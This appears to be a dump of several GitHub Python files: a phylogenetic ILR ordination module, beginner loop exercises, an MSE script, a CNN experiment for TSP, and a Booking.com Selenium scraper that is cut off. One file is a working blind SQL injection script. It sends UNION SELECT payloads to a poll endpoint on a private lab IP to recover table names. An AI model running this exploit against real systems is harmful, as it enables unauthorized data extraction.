pd.DataFrame(basis.T, index=diff.columns, columns=in_nodes)\n diff_balances = (diff @ basis).T\n diff_balances.index.name = 'featureid'\n return diff_balances, t\n\n\ndef get_children(tree, side):\n if tree.children[side].is_tip():\n return [tree.children[side].name]\n else:\n return [n.name for n in tree.children[side].tips()]\n\n\ndef logmean(table, tips, pseudocount):\n if len(tips) == 1:\n return np.array(np.log(table[tips] + pseudocount)).ravel()\n else:\n return np.array(np.log(table[tips] + pseudocount).mean(axis=1))\n\n\ndef _fast_ilr(tree, table, clades, pseudocount=0.5):\n # manually computes the ILR transform on a subset of specified clades\n balances = {}\n basis = {}\n for c in clades:\n subtree = tree.find(c)\n num_tips = get_children(subtree, NUMERATOR)\n denom_tips = get_children(subtree, DENOMINATOR)\n r, s = len(num_tips), len(denom_tips)\n if r == 0 or s == 0:\n raise ValueError(f'Clade {c} has no children {subtree}')\n Z = np.sqrt(r * s / (r + s))\n\n num = logmean(table, num_tips, pseudocount)\n denom = logmean(table, denom_tips, pseudocount)\n print(num.shape, denom.shape)\n balances[c] = pd.Series(Z * (num - denom), index=table.index)\n basis[c] = pd.Series(np.zeros(len(table.columns)), index=table.columns)\n basis[c].loc[num_tips] = np.sqrt(s / (r * (r + s)))\n basis[c].loc[denom_tips] = -np.sqrt(s / (s * (r + s)))\n balances = pd.DataFrame(balances)\n basis = pd.DataFrame(basis)\n return balances, basis\n\n\ndef ilr_phylogenetic_ordination(table: pd.DataFrame, tree: skbio.TreeNode,\n pseudocount: float = 0.5,\n top_k_var: int = 10,\n clades: list = None) -> (\n OrdinationResults,\n skbio.TreeNode, pd.DataFrame\n ):\n t = tree.copy()\n t.bifurcate()\n _table, _tree = match_tips(table, t)\n _tree = rename_internal_nodes(_tree)\n if not clades:\n in_nodes = [n.name for n in _tree.levelorder() if not n.is_tip()]\n basis = _balance_basis(_tree)[0]\n _table = add_pseudocount(_table, pseudocount)\n basis = pd.DataFrame(basis.T, index=_table.columns, columns=in_nodes)\n balances = np.log(_table) @ basis\n var = balances.var(axis=0).sort_values(ascending=False)\n clades = var.index[:top_k_var]\n balances = balances[clades]\n basis = basis[clades]\n else:\n clades = clades[0].split(',')\n balances, basis = _fast_ilr(_tree, _table, clades, pseudocount=0.5)\n var = balances.var(axis=0).sort_values(ascending=False)\n\n balances.index.name = 'sampleid'\n # feature metadata\n eigvals = var\n prop = var[clades] / var.sum()\n balances = OrdinationResults(\n short_method_name='ILR',\n long_method_name='Phylogenetic Isometric Log Ratio Transform',\n samples=balances,\n features=pd.DataFrame(np.eye(len(clades)), index=clades),\n eigvals=eigvals,\n proportion_explained=prop\n )\n basis.index.name = 'featureid'\n return balances, _tree, basis\n","repo_name":"qiime2/q2-gneiss","sub_path":"q2_gneiss/composition/_method.py","file_name":"_method.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34562291941","text":"import requests\nimport json\n\nIP=\"10.0.2.242\"\nPAYLOAD = \"\"\nLOOP=True\nNUMBERLETTERS=1\n\nwith open('letters-a-z.txt', 'r') as f:\n WORDLIST = [line.strip() for line in f.readlines()]\n NUMBERLINES = len(WORDLIST)\n\nwhile LOOP==True:\n\n for PAY1 in WORDLIST:\n\n url1 = f'http://{IP}:8080/polls/1'\n headers1 = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0',\n 'Accept': '*/*',\n 'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',\n f'Referer': 'https://{IP}:8080/',\n 'Content-Type': 'application/json',\n f'Origin': 'https://{IP}:8080',\n 'Connection': 'keep-alive',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'same-origin'\n }\n\n payload1 = json.dumps({\"selectedOptions\": [\"Python\"],\n \"name\": f\"'UNION SELECT IF((SELECT substring((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,{NUMBERLETTERS})='{PAYLOAD}{PAY1}'),(SELECT table_name FROM information_schema.tables),'a')'-- -\"\n })\n\n print(payload1)\n\n RESP1 = requests.post(url1, headers=headers1, data=payload1)\n\n response_json = json.loads(RESP1.text)\n VOTEID = response_json.get('vote_id', None)\n\n if VOTEID:\n\n url2 = f'http://{IP}:8080/polls/{VOTEID}/results'\n headers2 = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0',\n 'Accept': '*/*',\n 'Accept-Language': 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3',\n f'Referer': 'https://{IP}:8080/',\n 'Connection': 'keep-alive',\n 'Cookie': 'session=3a7b379d-2d5b-4e8f-ad9e-4df89227e387',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'same-origin'\n }\n RESP2 = requests.get(url2, headers=headers2)\n\n # Verificando o status code do segundo request\n if RESP2.status_code == 500:\n PAYLOAD+=PAY1\n NUMBERLETTERS+=1\n #print(PAYLOAD)\n break\n else:\n print(f\"Não foi possível obter VOTEID para o payload {PAY1}\")\n\n if PAY1==WORDLIST[NUMBERLINES-1]:\n LOOP=False\n print(f\"O banco de dados encontrado foi:\" + PAYLOAD)\n","repo_name":"ooclaar/Scripts-SQLI","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10981977829","text":"#Reverse the digits of a number using Python\r\n\r\ndef getReverse(number):\r\n rNum=0\r\n while number != 0:\r\n rNum = rNum*10 + number%10\r\n number = number//10\r\n\r\n return rNum\r\n \r\n\r\nnumber = int(input(\"Enter a number:\"))\r\nprint(\"Reverse of a {} is {}\".format((number), getReverse(number)))\r\n","repo_name":"irhiro/PythonPrograms","sub_path":"getReverseDigits.py","file_name":"getReverseDigits.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6860763332","text":"#!usr/bin/python\n#-*- coding: utf-8 -*-\n\n'''\nThis calculates the average of MSE between 2 frames in a row.\n(RGB value / 255)\n\nUsage:\n python MSE.py <arg0> <arg1> <arg2> ...\nArguments:\n -d <image list>\n -b <beginning id> (0 <= b < #row(sequence list))\n -e <end id> (0 < e <= #row(sequence list))\n -r <root directory>\n -c <# channels>\n -s <size of each image>\n'''\n\nimport argparse\nimport math\nimport numpy as np\nimport os\nimport time\n\nfrom PIL import Image\n\nimport chainer\nfrom chainer.functions.loss.mean_squared_error import mean_squared_error\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-data', '-d', default = '',\n help = 'Data you want to calculate MSE.')\nparser.add_argument('-begin_id', '-b', default = 0,\n type = int, help = 'Beginning frame ID.')\nparser.add_argument('-end_id', '-e', default = 0,\n type = int, help = 'End frame ID.')\nparser.add_argument('--root', '-r',\n default = '/home/fujiyama/PredictiveCoding/',\n help = 'Root directory path.')\nparser.add_argument('--channels', '-c', default = 3, help = \n '(#channels): 3 for RGB or 1 for grey scale.')\nparser.add_argument('--size', '-s', default='160,120',\n help='Size of each image. width,height (pixels).')\nargs = parser.parse_args()\n\nif (not args.data):\n print ('Please specify image sequence list.')\n exit()\n\nif (not args.begin_id) or (not args.end_id):\n print ('Please specify both a beginning id and an end id.')\n exit()\n\nif (not args.root):\n print ('Please specify the root directory.')\n\nargs.size = args.size.split(',')\nfor i in range(len(args.size)):\n args.size[i] = int(args.size[i])\n\ndef load_list(path, root):\n tuples = []\n for line in open(root + path):\n pair = line.strip().split()\n tuples.append(os.path.join(root, pair[0]))\n return tuples\n \ndef read_image(path):\n image = np.asarray(Image.open(path)).transpose(2, 0, 1)\n image = image[:, :, :].astype(np.float32)\n image /= 255\n return image\n\nimage_list = load_list(args.data, args.root) \n\nloss = 0.0\n\nt_image = np.ndarray((1, args.channels, args.size[1], args.size[0]),\n dtype=np.float32)\ntplus1_image = np.ndarray((1, args.channels, args.size[1], args.size[0]),\n dtype=np.float32)\n\nbegin_time = time.time()\nt_image[0] = read_image(image_list[args.begin_id])\nfor nth in range(args.begin_id, args.end_id):\n tplus1_image[0] = read_image(image_list[nth + 1])\n loss += mean_squared_error(chainer.Variable(t_image),\n chainer.Variable(tplus1_image)).data\n t_image[0] = tplus1_image[0]\n\nmean_MSE = loss / (args.end_id - args.begin_id)\nend_time = time.time()\n\nprint('mean_MSE: {}'.format(mean_MSE))\nprint('elapsed time: {}'.format(end_time - begin_time))\n","repo_name":"erikuroda/master_2022","sub_path":"Prediction/PredNet/Fujiyama_prednet/eval/quantitative_eval/MSE/MSE.py","file_name":"MSE.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16542146084","text":"#Project1\nsum = 0\nnum = 1\n\nwhile num <=100:\n sum += num\n num += 1\n\nprint(sum)\n\n#Project2\n\ntotal = 0\nnux = 70\n\nwhile nux <=160:\n sum += nux\n nux += 1\n\nprint(sum)\n\n\n#Project3\n\nsumm = 0\neven_num = 30\n\nwhile even_num <= 470:\n if even_num % 2 == 0:\n sum += even_num\n even_num += 1\n\nprint(sum)\n\n#Project4\n\nsummation = 0\nnums = 1\n\nwhile nums <=1000:\n if nums % 3 == 0:\n summation += nums\n nums += 1\nprint(summation)\n\n#Project5\n\nsum = 0\nnum = 1\n\nwhile num <= 2000:\n if num % 3 == 0 and num % 7 == 0:\n sum += num\n num += 1\nprint(sum)\n\n#Project6\n\n##output \"1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29\"\n\nnums = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, \n25, 27, 29]\n\ns = \"1\"\nidx = 1\n\nwhile idx < len(nums):\n str_nums = str(nums[idx])\n s += ','+ str_nums \n idx += 1\n \nprint(s)\n\n","repo_name":"Ghada-MST/Codezilla-Course","sub_path":"Codezilla Course-Section10/While loops/While_summation_Projects/while_summation_1_project.py","file_name":"while_summation_1_project.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18955259005","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 25 11:16:56 2019\n\n@author: daniel\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport random\nimport os\nos.chdir('/Users/daniel/Documents/academic/DeepLearning/NN-agumented-GA-for-TSP')\n\nfrom route import City, readCities\ncts = readCities('gr96_tsp.txt',7)\nmaps = [City(c[0],c[1],i) for i,c in enumerate(cts)]\n\n\nleaveone = pd.read_csv(\"leave1_1step.csv\")\ny = leaveone.values[:,-1]\n#y = [1 if i>0 else 0 for i in y]\nroutes = leaveone.values[:,:96]\nn = len(routes[0])\nD = np.zeros((n,n))\nfor i in range(n):\n for j in range(n):\n d = maps[i].distance(maps[j])\n D[i,j] = d\n D[j,i] = d\n\nD_c = [np.mean(D),np.std(D)]\nD = (D-D_c[0])/D_c[1]\n\n\nres = []\nfor route in routes:\n n = len(route)\n X = np.zeros((n,n))\n for i in range(1,n): \n d = maps[int(route[i-1])].distance(maps[int(route[i])])\n X[int(route[i-1]),int(route[i])] = d\n X[int(route[i]),int(route[i-1])] = d\n \n #res.append([X,D])\n res.append(X)\nX = np.array(res)[:,None,:,:]\n\n\n#How to combine image and label together??\nbatch_size = 100\nY = Variable(torch.Tensor(y).float())\n#Y = Variable(y)\ndata_all = []\nfor i in range(len(X)):\n data_all.append([X[i],Y[i]])\n\nratio_train = 0.2\ncut = int(len(data_all)*ratio_train)\ndata_train = data_all[:cut]\ndata_test = data_all[cut:]\nX_train = X[:cut]\nX_test = X[cut:]\ny_train = y[:cut]\ny_test = y[cut:]\n\n\ntrain_loader = DataLoader(dataset=data_train, batch_size=batch_size, shuffle=True)\ntest_loader = DataLoader(dataset=data_test, batch_size=batch_size, shuffle=False)\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(1, 16, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(16, 32, 5)\n self.conv3 = nn.Conv2d(32, 64, 5)\n self.fc1 = nn.Linear(64*8*8, 120)\n self.fc2 = nn.Linear(120, 60)\n self.fc3 = nn.Linear(60, 1)\n self.bn1 = nn.BatchNorm2d(16)\n self.bn2 = nn.BatchNorm2d(32)\n self.bn3 = nn.BatchNorm2d(64)\n #self.Sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n #print(\"begin:\", x.size())\n x = x.float()\n #print(\"begin:\", x.size())\n x = self.bn1(self.pool(F.relu(self.conv1(x))))\n #print(\"conv1:\", x.size())\n x = self.bn2(self.pool(F.relu(self.conv2(x))))\n #print(\"conv2:\", x.size())\n x = self.bn3(self.pool(F.relu(self.conv3(x))))\n #print(\"conv3:\", x.size())\n x = x.view(-1, 64*8*8)\n #print(\"view:\", x.size())\n x = F.relu(self.fc1(x))\n #print(\"fc1:\", x.size())\n x = F.relu(self.fc2(x))\n #print(\"fc2:\", x.size())\n x = self.fc3(x)\n #print(\"fc3:\", x.size())\n #x = self.Sigmoid(x)\n return x\n\n\nnet = Net()\ncriterion = nn.MSELoss()\noptimizer = optim.Adam(net.parameters(), lr=0.0005)\nrunning_loss = 0.0\n\nprint('Training begins')\nfor j in range(5):\n for i, data in enumerate(train_loader, 0):\n # get the inputs\n inputs, score = data\n \n \n score = score.float()\n \n # zero the parameter gradients\n optimizer.zero_grad()\n \n # forward + backward + optimize\n outputs = net(inputs)\n loss = criterion(outputs, score)\n loss.backward()\n optimizer.step()\n \n # print statistics\n running_loss = loss.item()\n #if i % 2000 == 2000-1:#print every 2000 mini-batches\n print('[%5d] loss: %.3f' %\n (j, running_loss))\n running_loss = 0.0\nprint(\"Finished Training\")\n\ny_fit = []\nwith torch.no_grad():\n for data in train_loader:\n inputs, score = data\n inputs = inputs.float()\n y = net(torch.Tensor(inputs).float())\n #print(criterion(y,score).item())\n y_fit = y_fit + [i.detach().numpy() for i in y]\n\n\nrank = sorted(range(len(y_train)), key=lambda i: y_train[i])\ny_fit = np.array(y_fit)\n\n\n1 - (np.std(y_fit-y_train)/np.std(y_train))**2\n\nplt.figure()\nplt.plot(y_fit[rank])\n#plt.figure()\nplt.plot(y_train[rank])\n\n\n\ny_pred = []\nwith torch.no_grad():\n for data in test_loader:\n inputs, score = data\n inputs = inputs.float()\n y = net(torch.Tensor(inputs).float())\n criterion(y,score).item()\n y_pred = y_pred + [i.detach().numpy() for i in y]\ny_pred = np.array(y_pred)\n\n1- (np.std(y_test-y_pred)/np.std(y_test))**2\n\n\nrank = sorted(range(len(y_test)), key=lambda i: y_test[i])\n\nplt.figure()\nplt.plot(y_pred[rank])\n#plt.figure()\nplt.plot(y_test[rank])\n\n\ndef Rankloss(pred,true,k=1000):\n error = 0\n n = len(pred)\n for _ in range(k):\n i,j = random.sample(range(n),2)\n if (pred[i] - pred[j])*(true[i]-true[j])<0:\n error +=1\n return error/k\n\nRankloss(y_fit, y_train)\nRankloss(y_pred,y_test)\n\n\n\n\n\n","repo_name":"DanieljcFan/RL-argumented-GA-for-TSP","sub_path":"Failure_CNN/CNN_twolayer.py","file_name":"CNN_twolayer.py","file_ext":"py","file_size_in_byte":5009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26728476627","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n##\n#\n# @date 02.11.2015\n# @author Nicolai Wilkop\n#\n# @target_website booking.com\n#\n\nimport sys\nimport logging\nimport re\nimport time\nimport datetime\nimport bs4\n# import json\n\nfrom selenium.webdriver.support.ui import Select\nimport selenium\n\nimport pdfuzz.config.navscrapers.api.currency_converter as CurrencyConverter\nimport pdfuzz.config.navscrapers.api.navigation as Navigation\nimport pdfuzz.common.exceptions as PDFuzzExceptions\n# import pdfuzz.config.config as cfg\n\n\nclass NavScraper:\n ##\n #\n #\n ENTRY_URI = \"http://booking.com\"\n # PAGE_TYPE = cfg.PAGE_TYPES.HOTELS\n PAGE_TYPE = \"hotels\"\n\n def __init__(self):\n ##\n #\n # @param {webdriver} driver - Selenium webdriver object which is\n # connected to the PhantomJS WebDriver server.\n #\n\n self.SCRAPING_MODE = 0\n\n def navigate_to_results(self, driver, search_parameters={}):\n ##\n # Navigates to the hotel listing.\n #\n # @param {selenium.webdriver} driver - Instance of a webdriver.\n #\n\n self.travel_target = search_parameters.get(\"travel_target\", \"\")\n self.number_of_adults = search_parameters.get(\"number_of_adults\", \"0\")\n self.number_of_single_rooms = search_parameters.get(\"number_of_single_rooms\", \"0\")\n self.number_of_double_rooms = search_parameters.get(\"number_of_double_rooms\", \"0\")\n self.check_in_year = search_parameters.get(\"check_in_year\", \"\")\n self.check_in_month = search_parameters.get(\"check_in_month\", \"\")\n self.check_in_day = search_parameters.get(\"check_in_day\", \"\")\n self.check_out_year = search_parameters.get(\"check_out_year\", \"\")\n self.check_out_month = search_parameters.get(\"check_out_month\", \"\")\n self.check_out_day = search_parameters.get(\"check_out_day\", \"\")\n\n navigation_successful = True\n navigation_mode = -1\n # driver.get_screenshot_as_file(\"{0}_LOADED_booking_navscraper.png\".format(time.time()))\n\n try:\n\n # Start navigation.\n try:\n\n try:\n # Try to use the mobile navigation.\n travel_target_element = self._mobile_navigation(\n driver=driver\n )\n navigation_mode = 1\n\n except PDFuzzExceptions.DateNotFoundException:\n # If the date can not be set, stop navigation.\n return False\n\n except selenium.common.exceptions.NoSuchElementException:\n\n try:\n # If the elements for the mobile navigation can not be\n # found. Try the default navigation.\n travel_target_element = self._default_navigation(\n driver=driver\n )\n navigation_mode = 0\n\n except selenium.common.exceptions.WebDriverException:\n # If an unexpected WebDriverException occurs, stop\n # navigation.\n return False\n\n except PDFuzzExceptions.DateNotFoundException:\n # If the date can not be set, stop navigation.\n return False\n\n # fill out the destination form.\n travel_target_element.clear()\n travel_target_element.send_keys(self.travel_target)\n\n # Set up the number of rooms and adults.\n self._set_rooms_and_adults_number(driver=driver)\n\n try:\n # Click radio button to select \"hotels only\".\n hotels_only_element = driver.find_element_by_css_selector(\n \"[name='nflt'][data-sb-acc-types='2']\"\n )\n hotels_only_element.click()\n except:\n logging.warning('Hotels only mode is not available!')\n\n # driver.get_screenshot_as_file(\"{0}_BEFORE_SUBMIT_booking_navscraper.png\".format(time.time()))\n\n # Submit the search form.\n travel_target_element.submit()\n\n # Handle the concretion dialog after submitting the search form.\n element, successful_option = self._handle_target_input_concretion(\n driver=driver\n )\n\n # Click or try to find results.\n # If one of the two cases match, the found element will be\n # clicked. In the case, that no element is found, the correction\n # view may not appeared and we try to find the results.\n if element:\n logging.debug(\"## Town selection found - booking\")\n element.click()\n else:\n logging.debug(\"## Town selection NOT found - booking\")\n # Try to find results for the current navigation mode.\n successful_option = navigation_mode\n\n # Wait for result element.\n if successful_option in [0]:\n # Wait for results on normal website.\n try:\n element = Navigation.wait_for_the_presence_of_element(\n driver=driver,\n element_css_selector=\"div#hotellist_inner > div.sr_item\",\n timeout=60\n )\n\n # Choose default scraping routine.\n self.SCRAPING_MODE = 0\n\n except selenium.common.exceptions.TimeoutException:\n logging.exception(\"First normal Results not found\")\n logging.info(\"Try alternative Normal Results\")\n\n element = Navigation.wait_for_the_presence_of_element(\n driver=driver,\n element_css_selector=\"div#search_results_table > div.hotel-newlist\",\n timeout=60\n )\n\n # Choose default scraping routine.\n self.SCRAPING_MODE = 2\n\n elif successful_option in [1]:\n # Wait for results on mobile website.\n element = Navigation.wait_for_the_presence_of_element(\n driver=driver,\n element_css_selector=\"div#srList ol#sr li.sr_simple_card\",\n timeout=60\n )\n\n # Choose mobile scraping routine.\n self.SCRAPING_MODE = 1\n\n else:\n logging.warning(\"Unhandled OPTION\")\n return False\n\n # Wait for first price to be loaded.\n # element = self._wait_for_text_not_in_element(\n # driver=driver,\n # css_selector=\"div#hotellist_inner > div.sr_item:first-of-type td.roomPrice strong.price > b\",\n # old_text=\"\"\n # )\n\n logging.debug(\"## Results found - booking\")\n\n # Some extra time to load the results.\n # print(\"## Sleep 5 sec\")\n time.sleep(2.5)\n\n except selenium.common.exceptions.TimeoutException:\n\n # If no results were found.\n logging.warning(\"Results not found! - booking\")\n logging.exception(\"Timeout in navigation routine - booking\")\n # logging.debug(driver.page_source)\n\n # Set return value to false.\n navigation_successful = False\n\n except:\n # Log unexpected errors while navigating.\n exc_type, exc_value = sys.exc_info()[:2]\n print(\"Unexpected error: {type} <msg '{msg}'>\".format(\n type=exc_type, msg=exc_value))\n\n logging.exception(\"Unexpected error:\")\n\n # Set the return value to False.\n navigation_successful = False\n\n finally:\n\n # driver.get_screenshot_as_file(\"booking_FINALLY_navscraper.png\")\n logging.debug(\"## Navigating finished - booking\")\n\n return navigation_successful\n\n def _default_navigation(self, driver):\n\n # Handle different cases for travel target input form\n # The input form does not always have an ID\n # print(\"[DEBUG] Try Desktop navigation\")\n logging.debug(\"Try Desktop navigation\")\n try:\n travel_target_element = driver.find_element_by_id(\"destination\")\n except selenium.common.exceptions.NoSuchElementException:\n travel_target_element = \\\n driver.find_element_by_css_selector(\".c-autocomplete.sb-destination > input.c-autocomplete__input.sb-destination__input\")\n\n try:\n logging.debug(\"Try to set the check-in and check-out dates via ComboBoxes.\")\n # Try to set the check-in and check-out dates via ComboBoxes in the search form.\n # and set the dates in the ComboBoxes\n travel_start_md_select = Select(driver.find_element_by_name(\"checkin_monthday\"))\n travel_start_md_select.select_by_value(self.check_in_day)\n\n travel_start_y_m_select = Select(driver.find_element_by_name(\"checkin_year_month\"))\n travel_start_y_m_select.select_by_value(\"{0}-{1}\".format(\n self.check_in_year, self.check_in_month\n ))\n\n travel_end_md_select = Select(driver.find_element_by_name(\"checkout_monthday\"))\n travel_end_md_select.select_by_value(self.check_out_day)\n\n travel_end_y_m_select = Select(driver.find_element_by_name(\"checkout_year_month\"))\n travel_end_y_m_select.select_by_value(\"{0}-{1}\".format(\n self.check_out_year, self.check_out_month\n ))\n\n except selenium.common.exceptions.ElementNotVisibleException:\n\n # This exception is thrown if the Tablet version of the website is\n # shown. The Select boxes are available but hidden, so we have to\n # set the values directly via JS because we can not automate the\n # used datepicker.\n logging.exception(\"Error while trying to use selects to fill out the travel dates. Fill out selects by JS injection.\")\n\n travel_start_md_select = driver.find_element_by_name(\"checkin_monthday\")\n travel_start_y_m_select = driver.find_element_by_name(\"checkin_year_month\")\n\n driver.execute_script(\n '''\n var checkin_monthday = arguments[0],\n checkin_month_year = arguments[1];\n\n checkin_monthday.value = arguments[2];\n checkin_month_year.value = arguments[3];\n ''',\n travel_start_md_select,\n travel_start_y_m_select,\n self.check_in_day,\n \"{0}-{1}\".format(\n self.check_in_year, self.check_in_month\n )\n )\n\n travel_end_md_select = driver.find_element_by_name(\"checkout_monthday\")\n travel_end_y_m_select = driver.find_element_by_name(\"checkout_year_month\")\n\n driver.execute_script(\n '''\n var checkout_monthday = arguments[0],\n checkout_month_year = arguments[1];\n\n checkout_monthday.value = arguments[2];\n checkout_month_year.value = arguments[3];\n ''',\n travel_end_md_select,\n travel_end_y_m_select,\n self.check_out_day,\n \"{0}-{1}\".format(\n self.check_out_year,\n self.check_out_month\n )\n )\n\n logging.debug(\"Fill out hidden Selects via JS injection.\")\n\n except selenium.common.exceptions.UnexpectedTagNameException:\n\n logging.exception(\"Error while trying to use selects to fill out the travel dates. Fill out inputs by JS injection.\")\n\n travel_start_md_select = driver.find_element_by_name(\"checkin_monthday\")\n travel_start_m_select = driver.find_element_by_name(\"checkin_month\")\n travel_start_y_select = driver.find_element_by_name(\"checkin_year\")\n\n driver.execute_script(\n '''\n var checkin_monthday = arguments[0],\n checkin_month = arguments[1],\n checkin_year = arguments[2];\n\n checkin_monthday.value = arguments[3];\n checkin_month.value = arguments[4];\n checkin_year.value = arguments[5];\n ''',\n travel_start_md_select, travel_start_m_select, travel_start_y_select,\n self.check_in_day, self.check_in_month, self.check_in_year)\n\n travel_end_md_select = driver.find_element_by_name(\"checkout_monthday\")\n travel_end_m_select = driver.find_element_by_name(\"checkout_month\")\n travel_end_y_select = driver.find_element_by_name(\"checkout_year\")\n\n driver.execute_script(\n '''\n var checkout_monthday = arguments[0],\n checkout_month = arguments[1],\n checkout_year = arguments[2];\n\n checkout_monthday.value = arguments[3];\n checkout_month.value = arguments[4];\n checkout_year.value = arguments[5];\n\n ''',\n travel_end_md_select, travel_end_m_select, travel_end_y_select,\n self.check_out_day, self.check_out_month, self.check_out_year)\n\n logging.debug(\"Hidden Inputs selected and value manipulated!\")\n\n except selenium.common.exceptions.WebDriverException:\n\n # Unexpected WebDriverException.\n logging.exception(\"Error while using the ComboBoxes to set the dates.\")\n\n # Automate datepicker of second mobile version.\n check_in_day = '<input type=\"hidden\" value=\"{0}\" name=\"checkin_monthday\">'.format(\n self.check_in_day\n )\n\n check_in_monthyear = '<input type=\"hidden\" value=\"{0}-{1}\" name=\"checkin_year_month\">'.format(\n self.check_in_year, self.check_in_month\n )\n\n check_out_day = '<input type=\"hidden\" value=\"{0}\" name=\"checkout_monthday\">'.format(\n self.check_out_day\n )\n check_out_monthyear = '<input type=\"hidden\" value=\"{0}-{1}\" name=\"checkout_year_month\">'.format(\n self.check_out_year, self.check_out_month\n )\n\n driver.execute_script('''\n var target = $('.sb-date-picker[data-calendar2-type=\"checkin\"] div[data-render=\"\"]'),\n html_code = target.html(),\n day_code = arguments[0],\n monthyear_code = arguments[1],\n manipulated_html = day_code + monthyear_code + html_code;\n\n target.html(manipulated_html);\n ''', check_in_day, check_in_monthyear)\n\n driver.execute_script('''\n var target = $('.sb-date-picker[data-calendar2-type=\"checkout\"] div[data-render=\"\"]'),\n html_code = target.html(),\n day_code = arguments[0],\n monthyear_code = arguments[1],\n manipulated_html = day_code + monthyear_code + html_code;\n\n target.html(manipulated_html);\n ''', check_out_day, check_out_monthyear)\n\n time.sleep(2)\n\n logging.debug(\"Datepicker via injection of hidden input fields automated!\")\n\n except:\n\n logging.exception(\"Error which leads to the datepicker alternative.\")\n # If the ComboBoxes are not available.\n # Try to use the datepicker that is possible visible instead.\n logging.debug(\"Try to set the check-in and check-out dates via the alternative datepicker.\")\n # Create the CSS selectors for the check-in date.\n cin_date_css_selector, cin_next_month_css_selector = \\\n self._get_default_datepicker_css_selectors(\n datepicker_class=\".sb-calendar__calendars\",\n day=self.check_in_day,\n month=self.check_in_month,\n year=self.check_in_year\n )\n\n # Create the CSS selectors for the check-out date.\n cout_date_css_selector, cout_next_month_css_selector = \\\n self._get_default_datepicker_css_selectors(\n datepicker_class=\".sb-calendar__calendars\",\n day=self.check_out_day,\n month=self.check_out_month,\n year=self.check_out_year\n )\n\n # set the dates via datepicker.\n check_in_div = \\\n driver.find_element_by_css_selector(\".-outside .-check-in\")\n check_out_div = \\\n driver.find_element_by_css_selector(\".-outside .-check-out\")\n\n # open checkin datepicker\n check_in_div.click()\n\n status = Navigation.set_date_in_basic_datepicker(\n driver=driver,\n date_css_selector=cin_date_css_selector,\n next_month_css_selector=cin_next_month_css_selector,\n delay_before_date_click=2.5\n )\n\n if not status:\n raise PDFuzzExceptions.DateNotFoundException(\"Unable to find the given date: '{}'\".format(\n cin_date_css_selector\n ))\n\n time.sleep(2.5)\n\n # open checkout datepicker\n check_out_div.click()\n\n status = Navigation.set_date_in_basic_datepicker(\n driver=driver,\n date_css_selector=cout_date_css_selector,\n next_month_css_selector=cout_next_month_css_selector,\n delay_before_date_click=2.5\n )\n\n if not status:\n raise PDFuzzExceptions.DateNotFoundException(\"Unable to find the given date: '{}'\".format(\n cout_date_css_selector\n ))\n\n return travel_target_element\n\n def _mobile_navigation(self, driver):\n\n # print(\"[DEBUG] Try Mobile navigation\")\n logging.debug(\"Try Mobile navigation\")\n travel_target_element = driver.find_element_by_id(\"input_destination\")\n\n try:\n\n # Create the CSS selectors for the check-in date.\n cin_date_css_selector, cin_next_month_css_selector = \\\n self._get_mobile_datepicker_css_selectors(\n datepicker_class=\".pikaday-checkin\",\n day=self.check_in_day,\n month=self.check_in_month,\n year=self.check_in_year\n )\n\n # Create the CSS selectors for the check-out date.\n cout_date_css_selector, cout_next_month_css_selector = \\\n self._get_mobile_datepicker_css_selectors(\n datepicker_class=\".pikaday-checkout\",\n day=self.check_out_day,\n month=self.check_out_month,\n year=self.check_out_year\n )\n\n # set the dates via datepicker.\n check_in_div = driver.find_element_by_id(\"ci_date_field\")\n check_out_div = driver.find_element_by_id(\"co_date_field\")\n\n # open checkin datepicker\n check_in_div.click()\n\n status = Navigation.set_date_in_basic_datepicker(\n driver=driver,\n date_css_selector=cin_date_css_selector,\n next_month_css_selector=cin_next_month_css_selector,\n delay_before_date_click=2.5\n )\n\n if not status:\n raise PDFuzzExceptions.DateNotFoundException(\"Unable to find the given date: '{}'\".format(\n cin_date_css_selector\n ))\n\n time.sleep(2.5)\n\n # open checkout datepicker\n check_out_div.click()\n\n status = Navigation.set_date_in_basic_datepicker(\n driver=driver,\n date_css_selector=cout_date_css_selector,\n next_month_css_selector=cout_next_month_css_selector,\n delay_before_date_click=2.5\n )\n\n if not status:\n raise PDFuzzExceptions.DateNotFoundException(\"Unable to find the given date: '{}'\".format(\n cout_date_css_selector\n ))\n\n 